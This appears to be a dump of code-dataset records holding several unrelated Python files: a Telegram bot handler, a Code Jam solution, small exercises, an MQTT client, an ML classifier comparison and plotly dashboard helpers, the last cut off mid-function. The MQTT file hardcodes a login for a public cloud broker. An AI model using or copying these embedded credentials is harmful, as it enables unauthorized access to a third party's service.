authorized_users_only\nfrom RaiChu.config import BOT_USERNAME, ASSISTANT_USERNAME\n\nSTART_TIME = datetime.utcnow()\nSTART_TIME_ISO = START_TIME.replace(microsecond=0).isoformat()\nTIME_DURATION_UNITS = (\n (\"week\", 60 * 60 * 24 * 7),\n (\"day\", 60 ** 2 * 24),\n (\"hour\", 60 ** 2),\n (\"min\", 60),\n (\"sec\", 1),\n)\n\n\nasync def _human_time_duration(seconds):\n if seconds == 0:\n return \"inf\"\n parts = []\n for unit, div in TIME_DURATION_UNITS:\n amount, seconds = divmod(int(seconds), div)\n if amount > 0:\n parts.append(\"{} {}{}\".format(amount, unit, \"\" if amount == 1 else \"s\"))\n return \", \".join(parts)\n\n\n@Client.on_message(other_filters2)\nasync def start(_, message: Message):\n await message.reply_text(\n f\"\"\"**I ᴀᴍ 𝘽𝙤𝙩 𝘿𝙪𝙣𝙞𝙮𝙖 𝙈𝙪𝙨𝙞𝙘 \nʙᴏᴛ ʜᴀɴᴅʟᴇ ʙʏ [KIGO](https://t.me/INSANE_BOTS)\nThanks to add me 😇**\n \"\"\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\n \"Handle\", url=\"https://t.me/Shubhanshutya\"\n ),\n InlineKeyboardButton(\n \"𝐂𝐨𝐦𝐦𝐚𝐧𝐝 𝐋𝐢𝐬𝐭\", callback_data=\"cbbasic\"\n ),\n InlineKeyboardButton(\n \"How to add me🤷\", callback_data=\"cbhowtouse\"\n ),\n ],[\n InlineKeyboardButton(\n \" 𝐒𝐮𝐩𝐩𝐨𝐫𝐭👿\", url=\"https://t.me/godzilla_chatting\"\n ),\n InlineKeyboardButton(\n \"𝐔𝐩𝐝𝐚𝐭𝐞𝐬\", url=\"https://t.me/INSANE_BOTS\"\n )\n ],[\n InlineKeyboardButton(\n \"➕ 𝐀𝐝𝐝 𝐌𝐞 𝐓𝐨 𝐘𝐨𝐮𝐫 𝐆𝐫𝐨𝐮𝐩➕\",\n url=f\"https://t.me/{BOT_USERNAME}?startgroup=true\",\n )\n ]\n ]\n ),\n disable_web_page_preview=True\n )\n","repo_name":"AMANTYA1/RaiChu","sub_path":"RaiChu/Player/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"23466593251","text":"#!/usr/bin/python\r\n# cat testset.in | ./main.py > testset.out\r\n# type testset.in | C:\\Python34\\python.exe a.py > testset.out\r\nimport math\r\nimport sys\r\n\r\n\r\ndef main():\r\n t = int(sys.stdin.readline())\r\n for c in range(1, t + 1):\r\n sys.stdout.write(\"Case #\" + str(c) + \": \")\r\n\r\n (x, r, c) = map(int, tuple(sys.stdin.readline().split()))\r\n # min and max length of an L shaped piece\r\n lmax = math.ceil(float((x-1))/2.0) + 1\r\n lmin = math.floor(float((x-1))/2.0) + 1\r\n\r\n # Special cases - for faster processing\r\n if ( ((r*c) % x != 0) # area not evenly divisible\r\n or (lmin > r or lmin > c) # L shaped piece (short side) won't fit on board \r\n or (lmin == r and lmax > c) # L shaped piece (long side) won't fit on the board\r\n or (lmin == c and lmax > r) \r\n or (x > 7) # create a donut piece\r\n or (x == 4 and r == 2) # use an s piece, which will devide the board into two halves with odd units\r\n or (x == 4 and c == 2)\r\n ):\r\n print(\"RICHARD\")\r\n continue\r\n\r\n if x <= 4:\r\n print(\"GABRIEL\") \r\n continue\r\n\r\n # General case\r\n print(\"UNKNOWN x={0}, r={1}, c={2}\".format(x, r, c))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_158/965.py","file_name":"965.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32684574961","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef main():\n for line in sys.stdin:\n line = line.strip()\n alpha = 'abcdefghijklmnopqrstuvwxyz'\n for c in line.lower():\n if c in alpha:\n alpha = alpha.replace(c, '')\n if alpha == '':\n print ('pangram')\n else:\n print (f'missing {alpha}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"thomashazekamp/CA117","sub_path":"lab-exam01/pangram_061.py","file_name":"pangram_061.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30000272319","text":"import functools\r\n\r\n\r\ndef knapsack_dyn_ints(w, weights, values):\r\n weights, values = zip(*[(w, v) for w, v in zip(weights, values) if v > 0]) # filters out items with no value\r\n print(weights, values)\r\n print()\r\n bestVals = [0 for _ in range(w + 1)] # index is the actual weight in this case\r\n bestItems = [[[]] for _ in range(w + 1)]\r\n\r\n # at each weight you need to store the max value achieved and the combo of items that got you there\r\n\r\n for weight in range(w + 1):\r\n bestVal = bestVals[weight - 1]\r\n bestCombos = bestItems[weight - 1]\r\n for item in range(len(weights)):\r\n if weight - weights[item] < 0:\r\n continue\r\n\r\n if not bestItems[weight-weights[item]]:\r\n bestItems[weight-weights[item]] = [[]]\r\n for combo in bestItems[weight-weights[item]]:\r\n comboVal = bestVals[weight-weights[item]]\r\n if item not in combo:\r\n comboVal += values[item]\r\n if comboVal == bestVal:\r\n if combo + [item] not in bestCombos:\r\n bestCombos.append(combo + [item])\r\n if comboVal > bestVal:\r\n bestCombos = [combo + [item]]\r\n bestVal = comboVal\r\n bestVals[weight] = bestVal\r\n bestItems[weight] = bestCombos\r\n\r\n print(bestItems)\r\n print(bestVals)\r\n print()\r\n\r\n print(bestItems[bestVals.index(bestVals[-1])])\r\n print(bestVals[-1])\r\n\r\n","repo_name":"nkadiadrian/Dynamic-Knapsack-Problem","sub_path":"knapsack problem.py","file_name":"knapsack problem.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41950938882","text":"import paho.mqtt.client as mqtt\nimport random\nfrom time import sleep\n\nclass Communicator(object):\n def __init__(self):\n self._channel = 'arming'\n self._client = mqtt.Client('whack-{}'.format(random.randint(0, 100000)))\n self.is_armed = True\n self.last_msg = None\n\n self._client.on_message = self._on_message\n self._client.username_pw_set('yctweqrz', '7exM74SXFRjX')\n self._client.connect(\"m15.cloudmqtt.com\", 16481)\n sleep(1.0)\n self._client.subscribe(self._channel)\n\n self._client.loop_start()\n\n self._i = 0\n\n\n def _on_message(self, client, userdata, message):\n msg = str(message.payload.decode('utf-8'))\n self.last_msg = msg\n print(\"Message on MQTT\", msg)\n if 'Armed' in msg:\n self.is_armed = True\n elif 'Disarmed' in msg:\n self.is_armed = False\n else:\n print(\"Unable to decipher message\")\n\n def send_message(self, switch_on:bool, people_present:bool):\n msg = \"{} {}\".format('Armed' if (switch_on and people_present) else 'Disarmed', self._i)\n self._i += 1\n self._client.publish(self._channel, msg, qos=1)\n\nif __name__ == '__main__':\n com = Communicator()\n\n import sys\n if sys.argv[1] == 'subscribe':\n print('subscribing')\n while True:\n print(com.is_armed, com.last_msg)\n sleep(1)\n else:\n print('publishing')\n while True:\n com.send_message(True, True)\n sleep(2)\n com.send_message(False, False)\n sleep(2)\n","repo_name":"OlinSibbSquad/oh-shoot","sub_path":"mqtt_lib.py","file_name":"mqtt_lib.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3450529083","text":"# run this script file concurrently with 9 threads\nimport os\nfrom GN import GN\nfrom bhcd import BHCD\nfrom experiment_two_level import evaluate, InfoClusterWrapper\nimport bhcd_parameter\n\nimport runner\nrunner.NUM_TIMES = 20\nMETRIC = 'dendrogram_purity'\n\ndef initialize_alg(alg_name):\n if(alg_name == 'info-clustering'):\n return InfoClusterWrapper()\n elif(alg_name == 'gn'):\n return GN()\n elif(alg_name == 'bhcd'):\n return BHCDWrapper()\n else:\n raise NotImplementedError(alg_name + ' not found')\n\ndef reproduce_z_in_1(alg_name_list, metric):\n Z_IN_2 = 3\n Z_O = 1\n Z_IN_1_MIN = 10\n Z_IN_1_MAX = 15\n\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_in_1_evaluate(alg, Z_IN_2, Z_O, Z_IN_1_MIN, Z_IN_1_MAX, metric)\n runner.save_to_file(report_list, 'z_in_1', runner.NUM_TIMES, metric, alg_name, Z_IN_2, Z_O, Z_IN_1_MIN, Z_IN_1_MAX)\n\ndef reproduce_z_in_2(alg_name_list, metric):\n Z_IN_1 = 13\n Z_O = 0.5\n Z_IN_2_MIN = 2\n Z_IN_2_MAX = 5\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_in_2_evaluate(alg, Z_IN_1, Z_O, Z_IN_2_MIN, Z_IN_2_MAX, metric)\n runner.save_to_file(report_list, 'z_in_2', runner.NUM_TIMES, metric, alg_name, Z_IN_1, Z_O, Z_IN_2_MIN, Z_IN_2_MAX)\n\ndef reproduce_z_o(alg_name_list, metric):\n Z_IN_1 = 14\n Z_IN_2 = 3\n Z_O_MIN = 0.25\n Z_O_MAX = 2\n for alg_name in alg_name_list:\n alg = initialize_alg(alg_name)\n report_list = runner.collect_z_o_evaluate(alg, Z_IN_1, Z_IN_2, Z_O_MIN, Z_O_MAX, metric)\n runner.save_to_file(report_list, 'z_o', runner.NUM_TIMES, metric, alg_name, Z_IN_1, Z_IN_2, Z_O_MIN, Z_O_MAX)\n\nclass BHCDWrapper(BHCD):\n def __init__(self):\n super().__init__(restart=bhcd_parameter.restart,\n gamma=bhcd_parameter.gamma, _lambda=bhcd_parameter._lambda, delta=bhcd_parameter.delta)\n\nif __name__ == '__main__':\n alg_list = ['info-clustering', 'gn', 'bhcd']\n if os.environ.get('NUM_TIMES'):\n runner.NUM_TIMES = int(os.environ['NUM_TIMES'])\n if os.environ.get('METRIC'):\n METRIC = os.environ['METRIC']\n reproduce_z_in_1(alg_list, METRIC)\n reproduce_z_in_2(alg_list, METRIC)\n reproduce_z_o(alg_list, METRIC)\n","repo_name":"zhaofeng-shu33/hierarchical-community-detection","sub_path":"reproduce_experiment.py","file_name":"reproduce_experiment.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72295111234","text":"from sklearn.metrics import accuracy_score\n\ndef apply_linear_regression(X_train, Y_train, X_test, Y_test):\n from sklearn.linear_model import LogisticRegression\n clf = LogisticRegression(penalty='l2', C=0.1)\n print(\"[*] Training...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"LogisticRegression accuracy: \",accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test,predicted)\n print(\"LogisticRegression Report: \", report)\n # show_confusion_matrix(Y_test, result.predict(X_test))\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n # plot_roc_curve(clf, X_test, Y_test)\n # plot_precision_recall_curve(clf, X_test, Y_test)\n return accuracy\n\n\ndef show_confusion_matrix(y_test, y_pred):\n from sklearn.metrics import confusion_matrix, classification_report\n from matplotlib import pyplot as plt\n conf_mat = confusion_matrix(y_true=y_test, y_pred=y_pred)\n labels = ['Clean', 'Leak']\n # print(\"confusion matrix:\\n\", conf_mat)\n # print(\"Report:\", classification_report(y_test, y_pred))\n fig = plt.figure()\n ax = fig.add_subplot(111)\n cax = ax.matshow(conf_mat, cmap=plt.cm.Blues)\n fig.colorbar(cax)\n ax.set_xticklabels([''] + labels)\n ax.set_yticklabels([''] + labels)\n plt.xlabel('Predicted')\n plt.ylabel('Actual')\n plt.show()\n\ndef label_show_confusion_matrix(y_test, y_pred):\n from sklearn.metrics import ConfusionMatrixDisplay, confusion_matrix\n from matplotlib import pyplot as plt\n\n labels = ['Clean', 'Leak']\n\n # print(\"Report:\", classification_report(y_test, y_pred))\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ConfusionMatrixDisplay(confusion_matrix(y_pred, y_test, labels=[0,1]), display_labels=labels).plot(values_format=\".0f\", ax=ax,cmap=plt.cm.Blues)\n plt.xlabel('Predicted')\n plt.ylabel('Actual')\n plt.show()\n\ndef plot_roc_curve(clf, X_test, y_test):\n from sklearn import metrics\n import matplotlib.pyplot as plt\n metrics.plot_roc_curve(clf, X_test, y_test)\n plt.show()\n\ndef plot_precision_recall_curve(clf, X_test, y_test):\n from sklearn import metrics\n import matplotlib.pyplot as plt\n metrics.plot_precision_recall_curve(clf, X_test, y_test)\n plt.show()\n\ndef apply_naive_bayes(X_train, Y_train, X_test, Y_test):\n from sklearn.naive_bayes import GaussianNB\n clf = GaussianNB()\n print(\"[*] Training NB...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Naive-Bayes accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Naive-Bayes Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n\n return accuracy\n\n\ndef apply_linear_SVC(X_train, Y_train, X_test, Y_test):\n from sklearn.svm import LinearSVC\n clf = LinearSVC(random_state=0)\n print(\"[*] Training SVM...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"LinearSVC accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"LinearSVC Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_K_Neighbors_Classifier(X_train, Y_train, X_test, Y_test):\n from sklearn.neighbors import KNeighborsClassifier\n clf = KNeighborsClassifier(n_neighbors=3)\n print(\"[*] Training KNN...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"KNeighbors accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"KNeighbors Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Ridge_Classifier(X_train, Y_train, X_test, Y_test):\n from sklearn.linear_model import RidgeClassifier\n clf = RidgeClassifier(alpha=0.7)\n print(\"[*] Training RC...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Ridge Classifer accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Ridge Classifier Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Bagged_Decision_Tree(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import BaggingClassifier\n clf = BaggingClassifier(n_estimators=100)\n print(\"[*] Training BDT...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Bagged Decision Tree accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"BDT Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Random_Forest(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import RandomForestClassifier\n clf = RandomForestClassifier(n_estimators=100, max_features='sqrt')\n print(\"[*] Training RF...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Random Forest accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Random Forest Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\n\ndef apply_Gradient_Boosting(X_train, Y_train, X_test, Y_test):\n from sklearn.ensemble import GradientBoostingClassifier\n clf = GradientBoostingClassifier(learning_rate=0.1, max_depth=9, n_estimators=1000, subsample=1.0)\n print(\"[*] Training SGB...\")\n print(clf, type(X_train), X_train.shape, Y_train.shape)\n result = clf.fit(X_train, Y_train)\n predicted = clf.predict(X_test)\n accuracy = accuracy_score(Y_test, predicted, normalize=True)\n print(\"Gradient Boosting accuracy: \", accuracy)\n from sklearn.metrics import classification_report\n report = classification_report(Y_test, predicted)\n print(\"Gradient Boosting Report: \", report)\n # label_show_confusion_matrix(Y_test, result.predict(X_test))\n return accuracy\n\ndef smote_over_sampling(X, y):\n from imblearn.over_sampling import SMOTE\n smote = SMOTE(sampling_strategy='minority')\n X_sm, y_sm = smote.fit_resample(X, y)\n return X_sm, y_sm\n\n\ndef apply_different_smote(X, y):\n X_smt, y_smt = smote_over_sampling(X, y) ##////////////Simple Smote\n X_train, X_test, y_train, y_test = randomize_dataset(X_smt, y_smt)\n return apply_different_model(X_train, y_train, X_test, y_test)\n\ndef apply_different_model(X_train, y_train, X_test, y_test):\n nb = apply_naive_bayes(X_train, y_train, X_test, y_test)\n sv = apply_linear_SVC(X_train, y_train, X_test, y_test)\n knr = apply_K_Neighbors_Classifier(X_train, y_train, X_test, y_test)\n lr = apply_linear_regression(X_train, y_train, X_test, y_test)\n rc = apply_Ridge_Classifier(X_train, y_train, X_test, y_test)\n bdt = apply_Bagged_Decision_Tree(X_train, y_train, X_test, y_test)\n rf = apply_Random_Forest(X_train, y_train, X_test, y_test)\n sgb = apply_Gradient_Boosting(X_train, y_train, X_test, y_test)\n return nb, sv, knr, lr, rc, bdt, rf, sgb\n\ndef randomize_dataset(X, Y):\n \"\"\" Randomly split the dataset in training and testing sets\n \"\"\"\n n = len(Y)\n train_size = int(0.8 * n)\n index = list(range(n))\n print(n, train_size, index)\n from random import shuffle\n shuffle(index)\n train_index = sorted(index[:train_size])\n test_index = sorted(index[train_size:])\n\n X_train = X[train_index, :]\n X_test = X[test_index, :]\n Y_train = Y[train_index]\n Y_test = Y[test_index]\n # print(\"train=\", len(Y_train))\n # print(\"test=\", len(Y_test))\n return X_train, X_test, Y_train, Y_test\n\ndef apply_smote_ML(X_smt, y_smt):\n nb_list = []\n sv_list = []\n knr_list = []\n lr_list = []\n rc_list = []\n bdt_list = []\n rf_list = []\n sgb_list = []\n for i in range(10):\n nb, sv, knr, lr, rc, bdt, rf, sgb = apply_different_smote(X_smt, y_smt)\n nb_list.append(nb)\n sv_list.append(sv)\n knr_list.append(knr)\n lr_list.append(lr)\n rc_list.append(rc)\n bdt_list.append(bdt)\n rf_list.append(rf)\n sgb_list.append(sgb)\n import matplotlib.pyplot as plt\n # print('NB=', nb_list)\n # print('SV=', sv_list)\n # print('KNN=', knr_list)\n # print('LR=', lr_list)\n # print('RC=', rc_list)\n # print('BDT=', bdt_list)\n # print('RF=', rf_list)\n # print('SGB=', sgb_list)\n plt.plot(nb_list)\n plt.plot(sv_list)\n plt.plot(knr_list)\n plt.plot(lr_list)\n plt.plot(rc_list)\n plt.plot(bdt_list)\n plt.plot(rf_list)\n plt.plot(sgb_list)\n plt.title('Model Accuracy')\n plt.ylabel('Accuracy')\n plt.xlabel('Iteration')\n plt.legend(['Naive-Bay', 'Linear SVC', 'K-NearNeighbor', 'Logistic Regression', 'Ridge Classifier', 'Bagged Decision Tree', 'Random Forest', 'Stochastic Gradient Boosting'])\n plt.show()\n\n\n","repo_name":"umkhanqta/MLPWakeLock","sub_path":"MLAlgo.py","file_name":"MLAlgo.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16703153089","text":"import datetime\n\nimport pandas as pd\nimport plotly.graph_objects as go\nimport plotly.express as px\n\npower_bi_colors = [\n \"#3f37c9\", # Blue\n \"#FF6C00\", # Orange\n \"#007f5f\",\n \"#7B00B4\", # Purple\n \"#FF0000\", # Red\n \"#6A007F\", # Dark Purple\n \"#fdd85d\", # Yellow\n \"#0077b6\", # Light Blue\n \"#aacc00\", # Green\n \"#495057\", # Gray\n]\n\nmetric_div_1 = \"\"\"\n
\n \n
\n
{value}
\n
\n
\n\"\"\"\n\nmetric_div = \"\"\"\n
\n \n
\n
{value}
\n
\n
\n\"\"\"\n\n\ndef kpi_widget(label, value):\n return metric_div.format(label=label, value=value)\n\n\ndef pre_process_data(data: pd.DataFrame):\n data[\"DaysRemainingColor\"] = data[\"DaysRemainingCode\"].map({\n \"Red\": \"#e76f51\",\n \"Yellow\": \"#e9c46a\",\n \"Green\": \"#52b788\"\n })\n return data\n\n\ndef opportunities_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"Awarding_Agency\": \"Awarding Agency\",\n \"Days_to_ResponseDeadline\": \"Days Remaining\",\n \"Description link\": \"URL\",\n \"NAICSCodeDesc\": \"NAICS\",\n \"Set_Aside_Type\": \"Set Aside\",\n \"Score\": \"ECS Rating\",\n \"Posted_Date\": \"Posted Date\"\n }, inplace=True)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[2, 2, 2, 1, 1, 1, 2, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color=['#f5ebe0', '#f5ebe0', '#f5ebe0', '#f5ebe0',\n data[\"DaysRemainingColor\"].values, '#f5ebe0'],\n align=['center'],\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef forecast_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"Recipient Name\": \"Incumbent Name\",\n \"naics_description\": \"Description\",\n \"Award Amount\": \"Current Award Amount\",\n \"PastAwards_URL\": \"URL\"\n }, inplace=True)\n table_data[\"Current Award Amount\"] = table_data[\"Current Award Amount\"].apply(format_currency_label)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1, 2, 1, 1, 1, 1, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f5ebe0',\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef awards_table(data: pd.DataFrame, columns: list):\n data = format_date_column(data)\n table_data = data[columns]\n table_data.rename(columns={\n \"AwardAmount_Binned\": \"Award Size\",\n \"PastAwards_URL\": \"URL\"\n }, inplace=True)\n table_data[\"Award Amount\"] = table_data[\"Award Amount\"].apply(format_currency_label)\n table_data[\"URL\"] = table_data[\"URL\"].apply(lambda x: f\"\"\"Visit\"\"\")\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1, 1, 1, 1, 1, 1, 1, 1],\n header=dict(\n values=list(table_data.columns),\n font=dict(size=14, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[table_data[K].tolist() for K in table_data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f5ebe0',\n height=80\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500)\n return fig\n\n\ndef current_opportunities_kpis(data: pd.DataFrame):\n total_opportunities = data[\"Notice_ID\"].nunique()\n days_to_respond = data[\"Days_to_ResponseDeadline\"].mean()\n count_positive_ecs = len(data[data[\"Score_Mapped\"] == \"Positive\"])\n count_green = len(data[data['DaysRemainingCode'] == \"Green\"])\n\n return total_opportunities, days_to_respond, count_positive_ecs, count_green\n\n\ndef competitor_kpis(data: pd.DataFrame):\n total_past_awards = data[\"generated_internal_id\"].nunique()\n six_million_above = len(data[\n (data[\"AwardAmount_Binned\"] == \"6-12 million\") |\n (data[\"AwardAmount_Binned\"] == \"12+ million\")])\n award_amount = data[\"Award Amount\"].sum()\n return total_past_awards, six_million_above, award_amount\n\n\ndef bar_scatter_chart(data: pd.DataFrame, bar_X: str, bar_Y: str, bar_name: str,\n scatter_X: str, scatter_Y: str, scatter_name, title):\n fig = go.Figure()\n fig.add_trace(\n go.Bar(\n x=data[bar_X],\n y=data[bar_Y],\n name=bar_name,\n marker_color=\"#094780\",\n text=data[bar_Y]\n )\n )\n fig.add_trace(\n go.Scatter(\n x=data[scatter_X],\n y=data[scatter_Y],\n mode=\"lines+markers+text\",\n name=scatter_name,\n line=dict(color='#ff4d6d', width=4),\n marker=dict(color='#ff4d6d', size=10),\n text=round(data[scatter_Y],1),\n textposition=\"top left\",\n textfont=dict(color='#ff4d6d', size=18)\n )\n )\n fig.update_layout(title=title, height=600, showlegend=False, xaxis_title=bar_X, yaxis_title=\"Count\",\n hovermode=\"x unified\",\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ))\n return fig\n\n\ndef bar_chart(data: pd.DataFrame, x: str, y: str, orient: str, title: str, text=None, pre_hover_text=None):\n fig = go.Figure()\n fig.add_trace(\n go.Bar(\n y=data[y],\n x=data[x].astype(int),\n orientation=orient,\n text=data[text].astype(int),\n marker_color=\"#094780\",\n hovertext=pre_hover_text + \" \" + (round(data[text], 2)).astype(str),\n )\n )\n fig.update_layout(title=title, height=600,\n hovermode=\"x unified\",\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ), yaxis=dict(tickfont=dict(size=20))\n )\n return fig\n\n\ndef binned_bar_chart(data: pd.DataFrame, x: str, y: str, color: str, title):\n data = data[(data[x] <= 10) & (data[x] >= 1)]\n data[color] = data[color].str[:20]\n fig = px.bar(data_frame=data,\n x=x,\n y=y,\n color=color,\n title=title,\n color_discrete_sequence=[\"#f1ba0a\", \"#a70b0b\", \"#03045e\", \"#4cc9f0\",\n \"#495057\", \"#012a4a\", \"#ff0a54\", \"#aacc00\",\n \"#0096c7\", \"#2d6a4f\", \"#7209b7\"]\n )\n fig.update_layout(title=title, height=500)\n return fig\n\n\ndef binned_scatter_plot(data: pd.DataFrame, x: str, y: str, color: str, title: str):\n data[color] = data[color].str[:20]\n fig = px.scatter(data_frame=data, x=x,\n y=y,\n color=color,\n symbol_sequence=list([\"diamond\"] * len(data)),\n title=title,\n color_discrete_sequence=[\"#f1ba0a\", \"#a70b0b\", \"#03045e\", \"#4cc9f0\",\n \"#495057\", \"#012a4a\", \"#ff0a54\", \"#aacc00\",\n \"#0096c7\", \"#2d6a4f\", \"#7209b7\"]\n )\n fig.update_layout(title=title, height=500)\n fig.update_xaxes(categoryorder='array', categoryarray=['0-3 months', '3-6 months',\n '6-12 months', '12-18 months',\n '18+ months'])\n fig.update_traces(marker={'size': 15})\n return fig\n\n\ndef scatter_plot(data: pd.DataFrame, x: str, y: str, title: str, name, text=None):\n fig = go.Figure()\n fig.add_trace(\n go.Scatter(x=data[x],\n y=data[y],\n mode=\"lines+markers+text\",\n text=data[text],\n textposition=\"top center\",\n fill='tozeroy',\n fillcolor=\"#00b4d8\",\n line=dict(color='#094780', width=2),\n marker=dict(color='#094780', size=8),\n name=name,\n hovertext=str(name) + \" \" + data[text].astype(str)\n )\n )\n fig.update_layout(title=title, height=600, xaxis_title=\"Posted Date\", yaxis_title=\"Count\",\n hovermode=\"x unified\",\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n ))\n return fig\n\n\ndef pie_chart(data: pd.DataFrame, values: str, names: str, title: str, text_info: str):\n fig = px.pie(data, values=values, names=names,\n hole=0.3, title=title, height=500, color_discrete_sequence=power_bi_colors[::-1])\n fig.update_traces(textinfo=text_info,\n hoverlabel=dict(\n bgcolor=\"white\",\n font_color=\"black\",\n font_size=16,\n font_family=\"Rockwell\"\n )\n )\n return fig\n\n\ndef table_chart(data: pd.DataFrame, title: str):\n fig = go.Figure(data=[go.Table(\n columnwidth=[1, 1, 1],\n header=dict(\n values=list(data.columns),\n font=dict(size=18, color='white', family='ubuntu'),\n fill_color='#264653',\n align=['left', 'center'],\n height=80\n ),\n cells=dict(\n values=[data[K].tolist() for K in data.columns],\n font=dict(size=12, color=\"black\", family='ubuntu'),\n fill_color='#f0efeb',\n height=50\n ))]\n )\n fig.update_layout(margin=dict(l=0, r=10, b=10, t=30), height=500,\n title=title)\n return fig\n\n\ndef contracts_kpis(data: pd.DataFrame):\n contracts_count = data[\"generated_internal_id\"].nunique()\n total_offers = data['number_of_offers_received'].sum()\n filtered_records = data[\n (data['number_of_offers_received'] > 0)\n | (data['number_of_offers_received'].notna())\n ]\n num_unique_contracts = len(filtered_records['generated_internal_id'].unique())\n if num_unique_contracts == 0:\n average_offers_per_contract = 0\n 